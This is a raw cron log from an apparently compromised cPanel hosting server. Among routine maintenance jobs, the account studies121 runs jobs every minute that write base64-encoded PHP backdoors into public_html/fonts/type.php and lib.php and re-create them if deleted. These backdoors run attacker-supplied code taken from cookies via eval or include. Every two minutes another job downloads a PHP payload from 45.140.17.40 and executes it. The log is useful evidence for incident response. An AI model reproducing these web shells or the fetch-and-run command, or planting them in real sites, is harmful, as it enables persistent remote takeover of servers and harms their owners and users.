Sep 10 15:15:02 ip-184-168-122-23 CROND[29379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:15:02 ip-184-168-122-23 CROND[29385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:15:02 ip-184-168-122-23 CROND[29383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:15:02 ip-184-168-122-23 CROND[29384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:15:02 ip-184-168-122-23 CROND[29380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:15:02 ip-184-168-122-23 CROND[29381]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:16:02 ip-184-168-122-23 CROND[29478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:16:02 ip-184-168-122-23 CROND[29479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:16:02 ip-184-168-122-23 CROND[29481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:16:02 ip-184-168-122-23 CROND[29486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:16:02 ip-184-168-122-23 CROND[29483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:16:02 ip-184-168-122-23 CROND[29482]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 15:17:01 ip-184-168-122-23 CROND[29666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:17:01 ip-184-168-122-23 CROND[29667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:17:01 ip-184-168-122-23 CROND[29670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:17:01 ip-184-168-122-23 CROND[29668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:18:01 ip-184-168-122-23 CROND[29751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:18:01 ip-184-168-122-23 CROND[29754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:18:01 ip-184-168-122-23 CROND[29755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:18:01 ip-184-168-122-23 CROND[29756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:18:01 ip-184-168-122-23 CROND[29753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:19:01 ip-184-168-122-23 CROND[29867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:19:01 ip-184-168-122-23 CROND[29868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:19:01 ip-184-168-122-23 CROND[29866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:19:01 ip-184-168-122-23 CROND[29870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:20:01 ip-184-168-122-23 CROND[29970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:20:01 ip-184-168-122-23 CROND[29972]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 15:20:01 ip-184-168-122-23 CROND[29976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:20:01 ip-184-168-122-23 CROND[29974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:20:01 ip-184-168-122-23 CROND[29975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:20:01 ip-184-168-122-23 CROND[29978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:20:01 ip-184-168-122-23 CROND[29977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:20:01 ip-184-168-122-23 CROND[29979]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:20:01 ip-184-168-122-23 CROND[29980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:21:01 ip-184-168-122-23 CROND[30100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:21:01 ip-184-168-122-23 CROND[30102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:21:01 ip-184-168-122-23 CROND[30103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:21:01 ip-184-168-122-23 CROND[30105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:22:01 ip-184-168-122-23 CROND[30218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:22:01 ip-184-168-122-23 CROND[30223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:22:01 ip-184-168-122-23 CROND[30220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:22:01 ip-184-168-122-23 CROND[30221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:22:01 ip-184-168-122-23 CROND[30222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:23:01 ip-184-168-122-23 CROND[30429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:23:01 ip-184-168-122-23 CROND[30428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:23:01 ip-184-168-122-23 CROND[30427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:23:01 ip-184-168-122-23 CROND[30430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:24:01 ip-184-168-122-23 CROND[30527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:24:01 ip-184-168-122-23 CROND[30530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:24:01 ip-184-168-122-23 CROND[30528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:24:01 ip-184-168-122-23 CROND[30529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:24:01 ip-184-168-122-23 CROND[30531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:25:01 ip-184-168-122-23 CROND[30649]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:25:01 ip-184-168-122-23 CROND[30650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:25:01 ip-184-168-122-23 CROND[30651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:25:01 ip-184-168-122-23 CROND[30653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:25:01 ip-184-168-122-23 CROND[30654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:25:01 ip-184-168-122-23 CROND[30655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:26:01 ip-184-168-122-23 CROND[30766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:26:01 ip-184-168-122-23 CROND[30768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:26:01 ip-184-168-122-23 CROND[30769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:26:01 ip-184-168-122-23 CROND[30770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:26:01 ip-184-168-122-23 CROND[30771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:27:01 ip-184-168-122-23 CROND[30863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
